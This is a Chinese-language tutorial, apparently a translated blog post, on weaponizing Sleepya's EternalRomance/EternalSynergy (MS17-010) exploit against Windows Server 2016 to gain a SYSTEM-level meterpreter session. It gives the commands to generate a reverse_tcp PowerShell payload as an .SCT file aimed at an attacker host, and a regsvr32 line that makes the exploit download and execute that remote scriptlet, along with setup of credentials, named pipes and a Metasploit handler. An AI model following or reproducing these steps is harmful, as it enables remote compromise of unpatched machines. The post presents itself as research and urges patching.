一、前言
當(dāng)微軟發(fā)布了MS17-010漏洞的補(bǔ)丁時(shí),人們發(fā)現(xiàn)這個(gè)漏洞會(huì)影響從Windows 7到Windows Server 2016版的Windows系統(tǒng)(更為準(zhǔn)確地說(shuō)還包含Vista系統(tǒng),但我們通常會(huì)忽略掉這個(gè)系統(tǒng))。然而,影子經(jīng)紀(jì)人(TheShadowBrokers)公布的“永恒”(ETERNALS)系列漏洞利用工具在Windows Server 2012及更高版本的系統(tǒng)上非常不穩(wěn)定,99%的概率會(huì)造成受害主機(jī)藍(lán)屏(BSOD)。
為了進(jìn)一步理解并用好NSA的漏洞利用工具,很多安全研究人員都對(duì)這個(gè)工具進(jìn)行了研究。幾天之前,Sleepya公布了一個(gè)漏洞利用工具,這個(gè)工具借鑒了EternalRomance/Synergy的漏洞思想,同時(shí)對(duì)利用方法進(jìn)行了改進(jìn),因此在攻擊Windows Server 2012及2016時(shí)更為穩(wěn)定。為了使用這個(gè)工具,我們需要做好某些準(zhǔn)備工作、理解工具的工作原理、修改某些配置,這樣在攻擊目標(biāo)主機(jī)時(shí)才能達(dá)到我們真正的目的。
這也是我寫這篇文章的出發(fā)點(diǎn)。在這篇文章中,我會(huì)按步驟介紹如何使Sleepya的漏洞利用工具正常工作,以及如何修改此工具以獲取目標(biāo)主機(jī)的Meterpreter會(huì)話。
當(dāng)然,我是出于調(diào)查研究目的才撰寫這篇文章的。
我們的實(shí)驗(yàn)環(huán)境使用如下配置:
1、目標(biāo)主機(jī):Windows Server 2016
目標(biāo)主機(jī)使用了Windows Server 2016 x64操作系統(tǒng)。

默認(rèn)安裝系統(tǒng)后,無(wú)需做其他修改,只需要獲取主機(jī)的IP地址,保持主機(jī)在線即可。
2、攻擊主機(jī):GNU/Linux
攻擊主機(jī)可以使用任何操作系統(tǒng),只要在系統(tǒng)中我們能夠使用如下工具即可:
Python v2.7
Ps1Encode
Metasploit框架
總結(jié)一下,我們實(shí)驗(yàn)環(huán)境的具體配置為:
目標(biāo)主機(jī):Windows Server 2016 x64,IP:10.0.2.13。
攻擊主機(jī):GNU/Linux Debian x64,IP:10.0.2.6。
二、工具利用
我們可以在exploit-db上找到對(duì)應(yīng)的漏洞利用代碼。
代碼使用Python編寫而成。因此,我們需要將其保存為攻擊主機(jī)上的.py文件。下載完成后,如果我們運(yùn)行這個(gè)漏洞利用代碼,會(huì)出現(xiàn)如下錯(cuò)誤:

現(xiàn)在讓我們來(lái)解決程序依賴問(wèn)題。
代碼第3行引入了“mysmb”模塊,這個(gè)模塊不屬于Python的內(nèi)置模塊,因此無(wú)法通過(guò)pip來(lái)安裝它。該模塊由Sleepya開發(fā),我們需要從他個(gè)人的Github倉(cāng)庫(kù)中下載。
我們將該模塊保存在漏洞利用工具的同一目錄中,文件名為“mysmb.py”。對(duì)Python而言,如果我們要在腳本中導(dǎo)入某個(gè)模塊的代碼,就需要?jiǎng)?chuàng)建一個(gè)名為“__INIT__.py”的文件。
完成這些操作后,漏洞利用腳本就會(huì)找到正確的模塊,不會(huì)再提示任何錯(cuò)誤。

三、檢查利用工具有效性
我們不需要做太多修改,就能檢查漏洞利用代碼是否能夠正常運(yùn)行。如果我們按照正常的方式執(zhí)行漏洞利用程序,一旦漏洞利用成功,它會(huì)在目標(biāo)主機(jī)的“C:\”盤中生成名為“pwned.txt”的一個(gè)文件。
即使在上面這個(gè)簡(jiǎn)單的測(cè)試中我們不需要對(duì)漏洞利用工具本身做任何修改,但在工具的實(shí)際使用中,我們還是需要設(shè)置某些參數(shù),如下文所述。
3.1 填寫認(rèn)證信息
EternalRomance/Synergy漏洞利用工具正常工作的前提是需要通過(guò)身份認(rèn)證。如果目標(biāo)主機(jī)啟用了訪客(Guest)賬戶,我們可以利用該賬戶實(shí)施攻擊,否則我們需要獲取目標(biāo)主機(jī)中一個(gè)可用的用戶名及密碼。這里需要強(qiáng)調(diào)的是,無(wú)論我們使用的賬戶權(quán)限如何,即使這個(gè)賬戶是一個(gè)Guest賬戶,最終漏洞利用成功后我們都會(huì)獲得SYSTEM權(quán)限。
打開exploit.py,修改第26及27行,填寫身份認(rèn)證信息:

這里我們可以設(shè)置需要使用的用戶名及密碼。
3.2 設(shè)置運(yùn)行參數(shù)
我們還需要設(shè)置目標(biāo)主機(jī)的IP地址以及管道(pipe)名稱。SMB協(xié)議定義了3種類型的共享方式:
1、文件(File):文件(或磁盤)資源共享,以目錄樹及所包含的子文件形式呈現(xiàn)。
2、打。≒rint):打印資源共享,可以訪問(wèn)服務(wù)器上的打印資源。
3、管道(Pipe):使用FIFO模型的進(jìn)程間通信方式,也稱之為命名管道(named pipes),以便在系統(tǒng)運(yùn)行時(shí)進(jìn)行信息傳輸。
與EternalBlue工具不同的是,EternalRomance以及EternalSynergy使用了命名管道中存在的一個(gè)漏洞,因此我們?cè)诠裟撑_(tái)主機(jī)前需要設(shè)置具體使用哪個(gè)命名管道。
我選擇的是“spoolss”,當(dāng)然也可以使用“browser”。我們也可以使用metasploit的掃描器“auxiliary/scanner/smb/pipe_auditor”來(lái)檢查目標(biāo)主機(jī)內(nèi)可以訪問(wèn)的管道。
3.3 不引入shellcode時(shí)運(yùn)行利用工具
現(xiàn)在,我們使用如下命令運(yùn)行漏洞利用腳本:
python exploit.py spoolss

我們前面說(shuō)過(guò),如果漏洞利用成功,我們可以在目標(biāo)主機(jī)的“C:\”盤中看到一個(gè)名為“pwned.txt”的新文件生成。
成功漏洞利用對(duì)我們來(lái)說(shuō)已經(jīng)是邁出了一大步。接下來(lái),我們會(huì)繼續(xù)分析,探索如何修改漏洞利用工具以獲得meterpreter shell。四、生成shellcode
除了編寫文本文件之外,我們還可以使用各種方法讓漏洞利用程序運(yùn)行一個(gè)meterpreter shell或者執(zhí)行其他動(dòng)作。
首先我們需要生成待使用的shellcode,這里我會(huì)使用我個(gè)人非常喜歡的一個(gè)辦法,這個(gè)辦法在規(guī)避安全控制方面有許多優(yōu)點(diǎn)。
如果用一句話來(lái)概括這個(gè)方法,那就是將shellcode嵌入到一個(gè).SCT文件中,漏洞利用程序會(huì)將該文件下載到目標(biāo)主機(jī)中加以執(zhí)行,最終給我們返回夢(mèng)寐以求的meterpreter會(huì)話。
4.1 使用PS1ENCODE創(chuàng)建.SCT文件
Ps1encode這個(gè)工具非常有用,能夠以多種格式生成基于PowerShell的metasploit載荷(payload)并對(duì)載荷進(jìn)行編碼。
可以從Github上下載這個(gè)工具。
我們可以使用如下命令,生成所需的載荷:
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=ATTACKER_IP> --LPORT=4444 -t sct
生成的.SCT文件必須存放在攻擊者主機(jī)上搭建的Web服務(wù)器中,或者存放在目標(biāo)主機(jī)能夠訪問(wèn)的任何一臺(tái)主機(jī)中。這也是我們?cè)趫?zhí)行之前的命令時(shí),程序要求我們填寫存放.sct文件的URL地址的原因。如果我們將攻擊者主機(jī)作為Web服務(wù)器來(lái)使用,我們只需要填入“http://”即可。

4.2 下載shellcode.sct
現(xiàn)在我們已經(jīng)在Ps1Encode的當(dāng)前目錄中生成了一個(gè)index.sct文件,為了讓漏洞利用工具將該文件下載到目標(biāo)主機(jī)中,我們需要將其移動(dòng)到Web服務(wù)器目錄中,分配適當(dāng)?shù)臋?quán)限。

如上圖所示,執(zhí)行完這些命令后,我們會(huì)得到一個(gè)shellcode,以待后續(xù)使用。
五、修改利用工具的行為
使用文本編輯器打開漏洞利用程序,跳轉(zhuǎn)到463行,我們可以看到如下語(yǔ)句:

這些函數(shù)就是漏洞利用程序用來(lái)在目標(biāo)主機(jī)上創(chuàng)建“pwned.txt”時(shí)使用的函數(shù),比這些語(yǔ)句更有意思的是,我們可以在469行看到一個(gè)service_exec()函數(shù),這個(gè)函數(shù)目前處于注釋狀態(tài)。
從這行代碼我們可知,該函數(shù)會(huì)執(zhí)行一個(gè)“copy”命令,生成“pwned.txt”文件的一個(gè)副本。如果不刪掉“#”注釋符,這行語(yǔ)句就不會(huì)被執(zhí)行。取消注釋,再次運(yùn)行漏洞利用程序,我們可以在“C:\”盤中發(fā)現(xiàn)兩個(gè)文本文件:pwned.txt以及pwned_exec.txt。
因此,我們可以修改copy命令,將其替換為我們想要執(zhí)行的任何語(yǔ)句。
既然已知如何修改漏洞利用程序,改變程序執(zhí)行動(dòng)作,那么我們可以使用如下語(yǔ)句,替換service_exec()函數(shù)原來(lái)執(zhí)行的copy命令:
regsvr32 /s /n /u /i:http:///shellcode.sct scrobj.dll
修改后的利用程序如下所示:

六、獲取Meterpreter會(huì)話
最后,在執(zhí)行exploit.py之前,我們需要配置metasploit的exploit/multi/handler監(jiān)聽端,以便接收meterpreter會(huì)話。

修改后的漏洞利用程序的執(zhí)行情況如下圖所示:

幾秒鐘之后,我們就能獲取目標(biāo)主機(jī)上的具備SYSTEM權(quán)限的meterpreter會(huì)話。

七、總結(jié)
沒(méi)有多余的總結(jié),趕緊給自己的系統(tǒng)打上補(bǔ)丁吧!
|